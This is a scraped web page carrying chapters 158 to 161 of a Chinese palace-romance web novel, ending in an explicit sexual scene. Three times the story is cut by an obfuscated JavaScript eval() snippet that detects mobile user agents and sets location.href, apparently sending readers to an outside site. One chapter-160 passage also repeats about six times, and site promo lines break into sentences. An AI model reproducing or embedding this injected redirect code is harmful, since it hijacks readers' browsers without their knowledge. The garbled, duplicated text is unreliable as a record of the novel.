第158章胤禛掉马甲(3) “仪欣很聪明…不笨…是我做得不好。” 胤禛垂眸看着她缓缓后退一步“还吃乳酪冰碗吗?” 仪欣低头闷闷开口:“我不知道。” 胤禛沉默庭院内寂静无声。 乳酪冰碗都不吃了胤禛承认他慌了。 胤禛咬了咬舌尖没拦住话“还要本王吗?” 仪欣低着头小声说:“要。” 胤禛松口气。 “庭院冷先回寝殿好不好?”胤禛低声问还要他就行总归长夜漫漫还能抱着她慢慢哄。 仪欣指了指前院方向闷头自己往正院走:“刚成亲时王爷不是想睡前院吗?去睡吧。” * 仪欣早早将正院门关得严严实实连庭间的灯都熄了。 连最暗的一盏宫灯也没有留。 回到正院寝殿她先将胤禛的枕头揍了一顿哐唧踹到地上气得陷在被衾里就是哭。 “福晋您当心身子。”晴云蹲在床榻旁担忧劝慰“您怎么了可以跟奴婢说说吗?” 灯火昏暗仪欣扎到晴云怀里抽噎。 “晴云我不想说。” 晴云没有追问如同大姐姐般轻拍着仪欣的后背为她顺气。 仪欣哭着揉眼睛。 晴云温柔挪开她的手轻轻吹了吹她的眼睛。 仪欣哭了一会儿还是抱着晴云病怏怏地啜泣。 她心里有很多话 还有一点点点点心疼他。 她从前真的很迟钝。 为什么他次次拿回来那么大笔的银票她都心安理得收下呢? 无功不受禄他要替皇阿玛或者太子做什么事情呢? 可是她和他已经成亲很久了她只是认识他的一个空壳实在是让人委屈苦涩。 春日夜里凉仪欣晕晕然抱着晴云却觉得周身均是森然之事浑身湿冷无力灌了一碗汤药亦是不能缓解。 前院。 胤禛坐在檐下青石板砖上双腿随意交叉低着头沉默拨弄怀里狸奴的爪子。 “她会喜欢你吗?”胤禛问。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 狸奴:“喵~” “她继续喜欢本王吗?”胤禛又问。 狸奴:不喵。 这是一只纯白的狸奴眼睛溜圆年岁很小胖乎乎的大脸盘子上都是懵懂耐人的憨气。 他见它第一眼就觉得好适合他的仪欣特意向康熙讨来。 身后的屋室内满是给仪欣的礼物: 摆满梨花架的泥陶罐罐;她心心念念的弓箭镶满了华丽纷繁的宝石和珍珠;她喜欢的银两摆了两大箱; 话本子、簪钗罗裙、八音盒…还有这只大脸盘子狸奴。 都是早早准备好坦白之后用来哄她的。 结果乳酪冰碗都不吃了。 连他也不抱了也不色眯眯揩油了。 就湿漉漉的离开凶巴巴吼他不许跟着。 他不想回寝殿亦进不去正院就沉默垂眼在青石阶上独坐。 她说他对她是撩猫逗狗的糊弄。 谁家养只小猫小狗要这般费心又是哄睡又是药材温养又要教功课。 “王爷夜里凉您早些歇息呀。”苏培盛轻声提醒。 胤禛拨了拨狸奴肉乎乎的爪子见它依恋往他的钻胤禛目光暗了暗将它从怀里扔出去。 小良子提着灯笼小步跑进前院一脸喜色“王爷福晋难以安枕 “嗯好吧。”胤禛淡定回复。 * 正院。 仪欣湿漉漉看了胤禛一眼缠绵悱恻的意味让胤禛心一下子软得不行坐到床边就将人搂到了怀里。 “睡不着了吗?”胤禛低声问“我抱一会儿。” 隐晦想亲亲她的耳朵却被她躲开。 “嗯王爷抱着我睡等我睡着了王爷再去睡前院。”仪欣闭上了眼睛。 原来还是要孤身睡前院。 “嗯…知道了。” 胤禛摘掉佛珠和白玉扳指倚在床头贪恋地将仪欣搂到怀里仪欣自动窝到她觉得舒服的位置。 他温热的手护在她最容易湿冷的后腰另一只手不紧不慢轻拍她的屁股哄睡。 哄睡她很容易。 两刻钟后苏培盛见 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 胤禛出来了。 苏培盛:“王爷,上朝时辰还早,你怎么不多睡会儿呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398026|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胤禛垂眸往前院走,“她不让本王睡这里。” 苏培盛:“?” 咂摸半晌,苏培盛才明白,竟是不让睡正院。 但是!!!我的纯情的王爷呦!怎么这么老实啊!跟福晋吵架了!就是要黏着她!管她让不让睡身边呢!黏着呀!出来干什么! 苏培盛:“王爷,这夫妻之间,向来是床头吵架床尾和,您就黏着福晋。” 连床也不上,怎么能行和呢? 胤禛顿住脚步:“你跟谁做过夫妻?” 苏培盛一噎,得嘞,王爷不高兴,嘴总是要毒**。 胤禛想到仪欣哭得红通通缩成一团的样子,微顿后,转身拔腿往正院跑。 哄她,要脸做什么? 苏培盛愣在原地,不知道该不该跟着跑,主子爷,您倒是说一声啊。 仪欣刚睡着,就感觉身边毛茸茸的什么东西在蹭,轻吮她的脖颈。 “唔…王爷…有老鼠…”仪欣睡着呢喃,“救命…” 胤禛低低笑出声来,心满意足亲吻她的脖颈,哄道:“没有老鼠,只有王爷。” “唔…王爷…” 仪欣没有醒,软绵绵钻到他怀里,身体有记忆般将两条腿搭到他的腰上,香甜细密的呼吸扫在胤禛的胸膛上。 一觉醒来。 仪欣大惊。 眼前是胤禛清冷俊美的脸,她和他鼻尖相碰,她嗫嚅一下嘴巴就能触到他的薄唇,闭上眼睛可以感受到他呼出的热气蹭到她的睫毛。 不对。 她不是让他回去了吗? 难道她睡着了抱着他不撒手吗? 啊啊啊,她怎么总是想王爷被逼无奈的事情啊? 胤禛这个黑心肝的,只有她是蠢蠢的小白菜,不知道谁欺负谁呢! 仪欣挣扎着推他胸膛。 突然,胤禛极其温柔出声:“看了半天,不亲吗?” 仪欣背过身去,“王爷上朝吧,下次别爬床了。” “嗯,下次不爬了。”胤禛撑着起来,边穿朝服边叮嘱说,“前院书房东侧殿,有给仪欣的一点儿小礼物,你睡饱之后,起来去收礼物。” 仪欣睁开眼睛,没说话。 什么小礼物,不喜欢! 第159章说开 半个时辰后。 仪欣怀里抱着狸奴坐在满得溢出来银两的两大箱中间左手摩挲着镶满华贵宝石的弓箭令人眼花缭乱的满墙泥陶。 脑海中飘过一连串:喜欢喜欢喜欢啊啊啊喜欢喜欢喜欢… 小良子哈腰笑呵呵说:“福晋这都是王爷老早吩咐的就是为了博您一笑。” 仪欣扯扯唇阴阳怪气地问:“良公公不会也是粘杆处的人吧?” 小良子冷汗直冒又不敢扯谎:“是…奴才是…” “跟着本福晋真是屈才了。”仪欣冷哼“出去。” 小良子欲哭无泪他这个嘴啊真是哪壶不开提哪壶本想着替王爷表功谁知道竟是让福晋更生气了。 狸奴:“喵~” 仪欣学着它的叫声弯唇也喵喵叫好似跟它沟通似的。 “你怎么这么可爱呀。”仪欣拨弄它的小爪子“我给你起个名字吧~” “喵~” “就叫爱新觉罗胤禛!”仪欣恶狠狠呲了呲牙说完笑眯眯弯了弯眼睛。 狸奴:喵喵喵~ “算了算了还是叫小豆子吧。”仪欣弯唇笑“小豆子~” 狸奴:“喵喵喵喵喵喵!” 仪欣安静在东偏殿数银子和小豆子说话忙忙碌碌做一些事情。 她给植宁写了一封信佟佳氏是雍亲王府的附庸忠臣让植宁大可以放心出嫁。 仪欣和植宁是无话不说的好朋友但是和胤禛的事情还是没有告诉植宁。 因为 可是很多事情是一个疙瘩。 仪欣叽里咕噜跟小豆子说了好几个时辰的话就坐在蒲团上盘着腿低头看着小豆子。 “我感觉我对王爷是一见钟情欸。” “喵~”小豆子蹭仪欣。 “因为家中长辈感情甚笃其实我还挺期待成亲的。” “当时就是我十四岁生辰那日万岁爷突然赐婚我第一次见到他欸。”仪欣轻轻吸了吸小豆子的**耳尖微红“他那天真的特别漂亮我那天也特别漂亮。” 你的朋友正在书荒,快去帮帮他吧 “喵~”小豆子圆溜溜浅棕色的眼睛望着她附和着。 “他是我完美的夫君完美的先生完美的小伙伴我看到他在看医书经常看他翻看我的脉案可能他以后还会变成一个完美的医官。” “可正是因为太完美了我想到可能是假的我甚至不敢追问只能缩在壳里。” 她真的好喜欢他啊。 话本子上总说什么几年一痒这么久了她还是好喜欢他啊。 仪欣的脑袋抵着狸奴的胖乎乎的肚子没一会儿软乎乎洁白细密的毛里凝着一湾小池。 她的鼻尖红红的。 “小豆子你说我要不要原谅他呢?” 小豆子:不喵。 第二日胤禛进不去正院了这下也不用他哄睡了。 他眸色暗了暗。 还不如装一辈子她喜欢什么样的他就装什么样子。 省得她难过他也心疼。 罢了非常时期非常手段。 春暖花开 仪欣春日易咳嗽遇上漫天飞舞的柳絮容易呼吸不畅今日总算好点。 她牵着小豆子风风火火遛猫猫撒欢她也撒欢。 仪欣手里拿着一摞信纸她昨夜不让胤禛来前院独自苦思冥想一整夜奋笔疾书将她的顾虑和她生气的问题写了一摞信只等胤禛当差回府。 * 胤禛喝醉时整个人特别艳。 明明他没有穿什么大红大紫的衣衫没有任何繁琐的配饰只有一串寡淡的佛珠和眼尾鼻梁的一抹绯红但总是让人无端想象到志怪话本中描绘的火红色的九尾狐狸。 在前院门处看到苏培盛搀扶着的身影时仪欣的第一反应是心疼。 迎上去想接住摇摇欲坠的他仪欣又在想他是不是又遇上了缄默于心的困难。 “王爷…胤禛…”仪欣快被他压**踉踉跄跄往正院走。 苏培盛倒是利索见到她后就把胤禛完全扔给她了。 “福晋麻烦您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“二十三岁得封亲王,也曾监国治政,皇阿玛的皇子以及宗亲阿哥,论清廉勤政,为国为民,我爱新觉罗胤禛配得首位。” 第160章和好 “本王不是靠女人的裙带关系上位的皇阿哥,本王可以用自己的昭昭野心发誓,我对仪欣,没有任何利益欺瞒,只有喜欢。” “真的只有喜欢。” 他抬腕摸了摸她的头,仰头凑到她的耳边,清晰吐出三个字,然后,指尖开始蔓延些许红晕。 “世间人万万,我只在乎富察仪欣的身体,只在乎富察仪欣的情绪。” 胤禛的脑袋搭在仪欣的肩膀上,“好了,仪欣说吧,还有什么觉得难过的问题,说出来,我们一起解决,好吗?” “王爷,我真的有点害怕,我还很难过,我甚至有点怀疑是不是我不够聪明,你才不告诉这一切。” 胤禛坦言:“不是。是我不够好,仪欣是这世上最珍贵的礼物,是我害怕我配不上最珍贵的礼物。” 胤禛一遍遍亲她,安抚地亲她的脑袋,捧着她的脸,拇指抹掉她的眼泪,“仪欣是我最珍贵的礼物。” “王爷…” 仪欣撤后一点,凝视着他的眼睛,小声请求:“我想摸摸你。” “摸吧。”胤禛喉结滚动。 “就摸摸我最喜欢的地方。”仪欣轻声说。 胤禛任由她施为,想着要不要解落**袍,落下床幔,让她摸得方便些。 忽然,她如薄雾般碰了碰他的眼睛。 原来,她最喜欢他的眼睛。 仪欣又轻轻亲了亲他微颤的眼皮。 “今晚,本王能回正院睡觉了吗?”胤禛低声问。 他真的不想睡前院了。 “啊,王爷,你怎么总是可怜巴巴的。”仪欣懊恼,赶紧抱紧他拍了拍。 胤禛低头笑,趁着醉酒,赖在她身上不想起来,把她抱到床榻上,含笑唤仪欣。 仪欣吞吞吐吐想爬到他身上,胤禛搂紧她,赶紧制止,“不行,喝太多酒,你在我身上趴着睡,有点想吐。” 仪欣小声说:“我只是想抱紧一点。” 胤禛躺着把她圈在怀里,察觉到她想亲吻的冲动。 胤禛有些口干舌燥的,他强迫着自己睡着了,仪欣莫名其妙也睡着了,躺在他的手臂上,攥着胤禛的佛珠。 晚间。 仪欣带着胤禛回富察府兴师问罪,顺便蹭饭。 怎么总是灌他喝酒,他喝醉很不舒服,而且感觉可怜兮兮的。 马齐很高兴,还没来得及热烈欢迎女婿,就被仪欣拉到一旁小声教育了一顿。 “是是是,下次不跟王爷拼酒了。”马齐应承得很快。 仪欣轻哼,牵着胤禛的手,又去警告傅文。 傅文:…… 王爷不是说跟小九坦白了吗?怎么还是这副黑芝麻汤圆的样子? 还有小九,她男人一个人灌他们三个,灌醉了就回去告状卖可怜,就这么难发现吗? 额娘生了他们兄妹四人,小九的心眼子都匀到他和傅笙身上了吗? 仪欣不满:“大哥不说话是什么意思?” 傅文无奈含笑,“是,不敢了。” 仪欣满意。 胤禛也满意。 说开了一些事情,仪欣更黏人了,猫猫狗狗跟在胤禛身后,用膳时给他夹菜。 傅辙看得来气,拧眉道:“王爷的手受伤了吗?” 胤禛慢悠悠抬眼,缓缓吐出几个字,“不过是午膳饮酒过量。” 仪欣又不满,轻哼道:“三哥还说呢,有你一份功劳。” 傅辙给仪欣塞一块糯米小粘糕,她快闭嘴吧,没一句爱听的。 钮祜禄氏温柔笑,又附和仪欣说:“一家人,下次饮酒,可不能过量。” “是。” 小别胜新婚,胤禛今晚期待着睡正院,但是,饭桌上,仪欣兴致勃勃提议晚上要在富察府住一晚。 胤禛:…… “那正好!”马齐道,“阿玛陪你下棋!” 钮祜禄氏缓缓看了马齐一眼,隐晦摇摇头,转而温声问:“王爷觉得呢?您和福晋方便吗?” 胤禛笑笑:“自然方便。” 用过晚膳,又聊一会儿天。 仪欣和胤禛牵着手往嫖姚院走。 “王爷,我有点想小豆子。” 胤禛笑问:“小豆子?那是什么东西?” 仪欣挽住他的胳膊,嗔怪道:“就是王爷送给我的狸奴,可乖了,我给它起的名字。” “嗯,好听。”胤禛温声说,“仪欣最有才华。” 仪欣咯咯笑,与他十 指相扣,温言软语抱怨说:“我们不要再吵架了,好不好?太难过了,我这几日用膳都不香了。” “好。”胤禛摸摸她的小脸,弯唇答应她。 仪欣攒了几天的话,边走边说:“王爷,我喜欢你送给我的所有礼物。” “那就好。”胤禛温柔看着她,“过两日再带你见个人。” 仪欣一噎,又要见个人?是好人吗? 胤禛猛得把她抱起来,仿佛会读心术一般,笑着说,她肯定会更高兴,说完,他就大步往嫖姚院走。 那人,本来也是准备着哄她的,只是迟了几日。 照例沐浴更衣,窝在舒舒服服的小床上,仪欣趴着拄着脑袋,又说出了她的至理名言。 胤禛闭了闭眼,无奈道:“不紧张,不刺激,不陌生。乖乖地睡觉,好不好?” 仪欣蹭到胤禛耳边,嘀嘀咕咕问:“王爷,为什么我们在嫖姚院从来都没做过呢?” 因为没带药膏啊。 坏了。 药膏。 还有药膏避子和他喝汤药避子的事情,忘了坦白了。 胤禛心情复杂,缓缓睁开眼睛,慢慢解释清楚避子的事情。 “所以,今晚不能做,别不要我。” 仪欣震惊:“王爷,你…你…你自己喝汤药避子吗?可是,男人的避子药本就罕见,万一出问题怎么办?” “嗯。”胤禛无所谓,“太医说,女子饮用的避子汤药极易伤其根本,又说,即使不弄到你里面,也会有怀孕的可能。” “你喝得药够多了,倒不如我来喝。” 仪欣有种心绪难耐的感觉,乌润润的眼睛看着他,“你为什么都不说呢?我错过好多你的爱。” “本王的爱?”胤禛缓缓挑眉,“用不完,不用省着。” 仪欣替他委屈,扎在他的怀里不知怎么说清那种感受,憋了半晌冒出来一句:“可是我今晚就有点想要。” 胤禛思忖:“其实,还有一种方式。” 仪欣更小声:“王爷的手指…” 胤禛揶揄轻笑,伸下去摸了摸,否认说:“不是,今晚带仪欣试一试。” 指相扣,温言软语抱怨说:“我们不要再吵架了,好不好?太难过了,我这几日用膳都不香了。” “好。”胤禛摸摸她的小脸,弯唇答应她。 仪欣攒了几天的话,边走边说:“王爷,我喜欢你送给我的所有礼物。” “那就好。”胤禛温柔看着她,“过两日再带你见个人。” 仪欣一噎,又要见个人?是好人吗? 胤禛猛得把她抱起来,仿佛会读心术一般,笑着说,她肯定会更高兴,说完,他就大步往嫖姚院走。 那人,本来也是准备着哄她的,只是迟了几日。 照例沐浴更衣,窝在舒舒服服的小床上,仪欣趴着拄着脑袋,又说出了她的至理名言。 胤禛闭了闭眼,无奈道:“不紧张,不刺激,不陌生。乖乖地睡觉,好不好?” 仪欣蹭到胤禛耳边,嘀嘀咕咕问:“王爷,为什么我们在嫖姚院从来都没做过呢?” 因为没带药膏啊。 坏了。 药膏。 还有药膏避子和他喝汤药避子的事情,忘了坦白了。 胤禛心情复杂,缓缓睁开眼睛,慢慢解释清楚避子的事情。 “所以,今晚不能做,别不要我。” 仪欣震惊:“王爷,你…你…你自己喝汤药避子吗?可是,男人的避子药本就罕见,万一出问题怎么办?” “嗯。”胤禛无所谓,“太医说,女子饮用的避子汤药极易伤其根本,又说,即使不弄到你里面,也会有怀孕的可能。” “你喝得药够多了,倒不如我来喝。” 仪欣有种心绪难耐的感觉,乌润润的眼睛看着他,“你为什么都不说呢?我错过好多你的爱。” “本王的爱?”胤禛缓缓挑眉,“用不完,不用省着。” 仪欣替他委屈,扎在他的怀里不知怎么说清那种感受,憋了半晌冒出来一句:“可是我今晚就有点想要。” 胤禛思忖:“其实,还有一种方式。” 仪欣更小声:“王爷的手指…” 胤禛揶揄轻笑,伸下去摸了摸,否认说:“不是,今晚带仪欣试一试。” 指相扣,温言软语抱怨说:“我们不要再吵架了,好不好?太难过了,我这几日用膳都不香了。” “好。”胤禛摸摸她的小脸,弯唇答应她。 仪欣攒了几天的话,边走边说:“王爷,我喜欢你送给我的所有礼物。” “那就好。”胤禛温柔看着她,“过两日再带你见个人。” 仪欣一噎,又要见个人?是好人吗? 胤禛猛得把她抱起来,仿佛会读心术一般,笑着说,她肯定会更高兴,说完,他就大步往嫖姚院走。 那人,本来也是准备着哄她的,只是迟了几日。 照例沐浴更衣,窝在舒舒服服的小床上,仪欣趴着拄着脑袋,又说出了她的至理名言。 胤禛闭了闭眼,无奈道:“不紧张,不刺激,不陌生。乖乖地睡觉,好不好?” 仪欣蹭到胤禛耳边,嘀嘀咕咕问:“王爷,为什么我们在嫖姚院从来都没做过呢?” 因为没带药膏啊。 坏了。 药膏。 还有药膏避子和他喝汤药避子的事情,忘了坦白了。 胤禛心情复杂,缓缓睁开眼睛,慢慢解释清楚避子的事情。 “所以,今晚不能做,别不要我。” 仪欣震惊:“王爷,你…你…你自己喝汤药避子吗?可是,男人的避子药本就罕见,万一出问题怎么办?” “嗯。”胤禛无所谓,“太医说,女子饮用的避子汤药极易伤其根本,又说,即使不弄到你里面,也会有怀孕的可能。” “你喝得药够多了,倒不如我来喝。” 仪欣有种心绪难耐的感觉,乌润润的眼睛看着他,“你为什么都不说呢?我错过好多你的爱。” “本王的爱?”胤禛缓缓挑眉,“用不完,不用省着。” 仪欣替他委屈,扎在他的怀里不知怎么说清那种感受,憋了半晌冒出来一句:“可是我今晚就有点想要。” 胤禛思忖:“其实,还有一种方式。” 仪欣更小声:“王爷的手指…” 胤禛揶揄轻笑,伸下去摸了摸,否认说:“不是,今晚带仪欣试一试。” 指相扣,温言软语抱怨说:“我们不要再吵架了,好不好?太难过了,我这几日用膳都不香了。” “好。”胤禛摸摸她的小脸,弯唇答应她。 仪欣攒了几天的话,边走边说:“王爷,我喜欢你送给我的所有礼物。” “那就好。”胤禛温柔看着她,“过两日再带你见个人。” 仪欣一噎,又要见个人?是好人吗? 胤禛猛得把她抱起来,仿佛会读心术一般,笑着说,她肯定会更高兴,说完,他就大步往嫖姚院走。 那人,本来也是准备着哄她的,只是迟了几日。 照例沐浴更衣,窝在舒舒服服的小床上,仪欣趴着拄着脑袋,又说出了她的至理名言。 胤禛闭了闭眼,无奈道:“不紧张,不刺激,不陌生。乖乖地睡觉,好不好?” 仪欣蹭到胤禛耳边,嘀嘀咕咕问:“王爷,为什么我们在嫖姚院从来都没做过呢?” 因为没带药膏啊。 坏了。 药膏。 还有药膏避子和他喝汤药避子的事情,忘了坦白了。 胤禛心情复杂,缓缓睁开眼睛,慢慢解释清楚避子的事情。 “所以,今晚不能做,别不要我。” 仪欣震惊:“王爷,你…你…你自己喝汤药避子吗?可是,男人的避子药本就罕见,万一出问题怎么办?” “嗯。”胤禛无所谓,“太医说,女子饮用的避子汤药极易伤其根本,又说,即使不弄到你里面,也会有怀孕的可能。” “你喝得药够多了,倒不如我来喝。” 仪欣有种心绪难耐的感觉,乌润润的眼睛看着他,“你为什么都不说呢?我错过好多你的爱。” “本王的爱?”胤禛缓缓挑眉,“用不完,不用省着。” 仪欣替他委屈,扎在他的怀里不知怎么说清那种感受,憋了半晌冒出来一句:“可是我今晚就有点想要。” 胤禛思忖:“其实,还有一种方式。” 仪欣更小声:“王爷的手指…” 胤禛揶揄轻笑,伸下去摸了摸,否认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398028|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“不是,今晚带仪欣试一试。” 指相扣,温言软语抱怨说:“我们不要再吵架了,好不好?太难过了,我这几日用膳都不香了。” “好。”胤禛摸摸她的小脸,弯唇答应她。 仪欣攒了几天的话,边走边说:“王爷,我喜欢你送给我的所有礼物。” “那就好。”胤禛温柔看着她,“过两日再带你见个人。” 仪欣一噎,又要见个人?是好人吗? 胤禛猛得把她抱起来,仿佛会读心术一般,笑着说,她肯定会更高兴,说完,他就大步往嫖姚院走。 那人,本来也是准备着哄她的,只是迟了几日。 照例沐浴更衣,窝在舒舒服服的小床上,仪欣趴着拄着脑袋,又说出了她的至理名言。 胤禛闭了闭眼,无奈道:“不紧张,不刺激,不陌生。乖乖地睡觉,好不好?” 仪欣蹭到胤禛耳边,嘀嘀咕咕问:“王爷,为什么我们在嫖姚院从来都没做过呢?” 因为没带药膏啊。 坏了。 药膏。 还有药膏避子和他喝汤药避子的事情,忘了坦白了。 胤禛心情复杂,缓缓睁开眼睛,慢慢解释清楚避子的事情。 “所以,今晚不能做,别不要我。” 仪欣震惊:“王爷,你…你…你自己喝汤药避子吗?可是,男人的避子药本就罕见,万一出问题怎么办?” “嗯。”胤禛无所谓,“太医说,女子饮用的避子汤药极易伤其根本,又说,即使不弄到你里面,也会有怀孕的可能。” “你喝得药够多了,倒不如我来喝。” 仪欣有种心绪难耐的感觉,乌润润的眼睛看着他,“你为什么都不说呢?我错过好多你的爱。” “本王的爱?”胤禛缓缓挑眉,“用不完,不用省着。” 仪欣替他委屈,扎在他的怀里不知怎么说清那种感受,憋了半晌冒出来一句:“可是我今晚就有点想要。” 胤禛思忖:“其实,还有一种方式。” 仪欣更小声:“王爷的手指…” 胤禛揶揄轻笑,伸下去摸了摸,否认说:“不是,今晚带仪欣试一试。” 指相扣,温言软语抱怨说:“我们不要再吵架了,好不好?太难过了,我这几日用膳都不香了。” “好。”胤禛摸摸她的小脸,弯唇答应她。 仪欣攒了几天的话,边走边说:“王爷,我喜欢你送给我的所有礼物。” “那就好。”胤禛温柔看着她,“过两日再带你见个人。” 仪欣一噎,又要见个人?是好人吗? 胤禛猛得把她抱起来,仿佛会读心术一般,笑着说,她肯定会更高兴,说完,他就大步往嫖姚院走。 那人,本来也是准备着哄她的,只是迟了几日。 照例沐浴更衣,窝在舒舒服服的小床上,仪欣趴着拄着脑袋,又说出了她的至理名言。 胤禛闭了闭眼,无奈道:“不紧张,不刺激,不陌生。乖乖地睡觉,好不好?” 仪欣蹭到胤禛耳边,嘀嘀咕咕问:“王爷,为什么我们在嫖姚院从来都没做过呢?” 因为没带药膏啊。 坏了。 药膏。 还有药膏避子和他喝汤药避子的事情,忘了坦白了。 胤禛心情复杂,缓缓睁开眼睛,慢慢解释清楚避子的事情。 “所以,今晚不能做,别不要我。” 仪欣震惊:“王爷,你…你…你自己喝汤药避子吗?可是,男人的避子药本就罕见,万一出问题怎么办?” “嗯。”胤禛无所谓,“太医说,女子饮用的避子汤药极易伤其根本,又说,即使不弄到你里面,也会有怀孕的可能。” “你喝得药够多了,倒不如我来喝。” 仪欣有种心绪难耐的感觉,乌润润的眼睛看着他,“你为什么都不说呢?我错过好多你的爱。” “本王的爱?”胤禛缓缓挑眉,“用不完,不用省着。” 仪欣替他委屈,扎在他的怀里不知怎么说清那种感受,憋了半晌冒出来一句:“可是我今晚就有点想要。” 胤禛思忖:“其实,还有一种方式。” 仪欣更小声:“王爷的手指…” 胤禛揶揄轻笑,伸下去摸了摸,否认说:“不是,今晚带仪欣试一试。” 指相扣,温言软语抱怨说:“我们不要再吵架了,好不好?太难过了,我这几日用膳都不香了。” “好。”胤禛摸摸她的小脸,弯唇答应她。 仪欣攒了几天的话,边走边说:“王爷,我喜欢你送给我的所有礼物。” “那就好。”胤禛温柔看着她,“过两日再带你见个人。” 仪欣一噎,又要见个人?是好人吗? 胤禛猛得把她抱起来,仿佛会读心术一般,笑着说,她肯定会更高兴,说完,他就大步往嫖姚院走。 那人,本来也是准备着哄她的,只是迟了几日。 照例沐浴更衣,窝在舒舒服服的小床上,仪欣趴着拄着脑袋,又说出了她的至理名言。 胤禛闭了闭眼,无奈道:“不紧张,不刺激,不陌生。乖乖地睡觉,好不好?” 仪欣蹭到胤禛耳边,嘀嘀咕咕问:“王爷,为什么我们在嫖姚院从来都没做过呢?” 因为没带药膏啊。 坏了。 药膏。 还有药膏避子和他喝汤药避子的事情,忘了坦白了。 胤禛心情复杂,缓缓睁开眼睛,慢慢解释清楚避子的事情。 “所以,今晚不能做,别不要我。” 仪欣震惊:“王爷,你…你…你自己喝汤药避子吗?可是,男人的避子药本就罕见,万一出问题怎么办?” “嗯。”胤禛无所谓,“太医说,女子饮用的避子汤药极易伤其根本,又说,即使不弄到你里面,也会有怀孕的可能。” “你喝得药够多了,倒不如我来喝。” 仪欣有种心绪难耐的感觉,乌润润的眼睛看着他,“你为什么都不说呢?我错过好多你的爱。” “本王的爱?”胤禛缓缓挑眉,“用不完,不用省着。” 仪欣替他委屈,扎在他的怀里不知怎么说清那种感受,憋了半晌冒出来一句:“可是我今晚就有点想要。” 胤禛思忖:“其实,还有一种方式。” 仪欣更小声:“王爷的手指…” 胤禛揶揄轻笑,伸下去摸了摸,否认说:“不是,今晚带仪欣试一试。” 第161章虚假的赤壁之战 胤禛的肩膀上不止有肩担天下的责任。 当仪欣意识到什么的时候,想到他说要带她尝试另一种,却没想到是这样。 胤禛矜贵优雅重新洗手,抱着仪欣,陪她温声说话,没过多久,便勾得仪欣弯了弯眼睛,试探摸索。 他慵懒抬眼,不遮不掩满是侵略意味的目光,与从前大不相同,像是丛林里狩猎过后满身血腥的雄狮。 他明明将要做卑贱讨好的事情,仪欣却直白感受到了他的占有意味。 胤禛从她的锁骨往下吻,同时寝衣敞开,露出结实的胸膛,任由她冰凉的手在胸膛上捂热。 这一块是他的,这一块也是他的。 他爱怜亲了亲仪欣软绵绵的小肚,觉得她非常可爱。 仪欣说:“王爷,我紧张。” 胤禛笑,缓缓摇头发出轻轻的笑声,“乖乖闭上眼睛,可以握紧我的手。” 仪欣听话攥住胤禛的手, 太羞恼了。 胤禛温柔安抚她,跟她含糊地说话。 “别哭,一起掉眼泪,怎么受得住?” “唔…”仪欣咬住下唇,听话憋住眼泪,攥紧他的手,同时情不自禁微微仰着欺霜赛雪的脖颈。 “乖乖,说点好听的。” “王爷,我好喜欢你,”仪欣情不自禁道,“夫君…” 胤禛知道她,手指捻了捻佛珠,恶劣勾唇露出牙齿。 半刻钟不到。 胤禛抬头,小声说了什么,又低头。 仪欣面色通红,雾蒙蒙的把自己埋到被衾里。 他清楚她的一切,也知道她窃窃然的喜欢。 感受到她的改变,他手指捻了捻她的佛珠。 将它…给仪欣。 * “别。”仪欣炸毛,裹着被衾坐起来。 胤禛无辜挪开,任由她呆愣坐在床榻上,目光凝视着那半串佛珠,仪欣惊愕又委屈巴巴的。 她眼角的胭脂色正浓,欺霜赛雪肌肤在烛火下盛开着朵朵漂亮的红梅,如羊脂玉般柔腻,樱唇微启。 “王爷,救命。”仪欣现在不能乱动。 不然就会拥有更多了。 仪欣张开胳 你的朋友正在书荒,快去帮帮他吧 膊无助求抱抱。 胤禛恶趣味盈满心间,温声问:“怎么这么黏人呢?一刻也离不了本王吗?” “王爷,你太过分了。”仪欣迷茫垂眼道。 胤禛勾了勾那半串佛珠,“……,好漂亮,好像仪欣的小/.尾./巴。” 他邪气的笑,高挺的鼻梁上还有些晶莹,枕着双臂看她茫然慌乱委屈巴巴的模样,心跳得很快很快。 胤禛跪在床榻上,将她的头温柔按在怀里,仪欣迷迷糊糊就亲上去。 仪欣委屈得趴到他的胸膛上,“王爷,我害怕,你怎么总欺负我?” “或许,本性难移。”胤禛搂紧仪欣,安抚她不安的小情绪。 “没事,床榻上的事情,本王都有分寸,不用害怕。” 仪欣仰头想去亲吻他的唇,又下不去嘴,啃咬他的锁骨,清晰道:“那我也喜欢王爷的本性。” 闻言,胤禛呼吸一轻,又送给她两颗佛珠。 她怎么这么可爱。 多吃点饭,别饿着她。 * 次日清晨。 胤禛跟马齐乘同一辆马车去上朝。 他倚在马车壁上,闭目养神,想起昨夜的她,唇角不自觉轻勾。 想起她软乎乎的话,又微微勾唇。 ——那我也喜欢王爷的本性。 她真好。 马齐一头雾水看着胤禛,压低声音道:“王爷怕不是有什么升迁之喜?” 胤禛缓缓睁眼,自然道:“岳父大人多思多虑,不过是今晨富察府的早膳很合口味。” 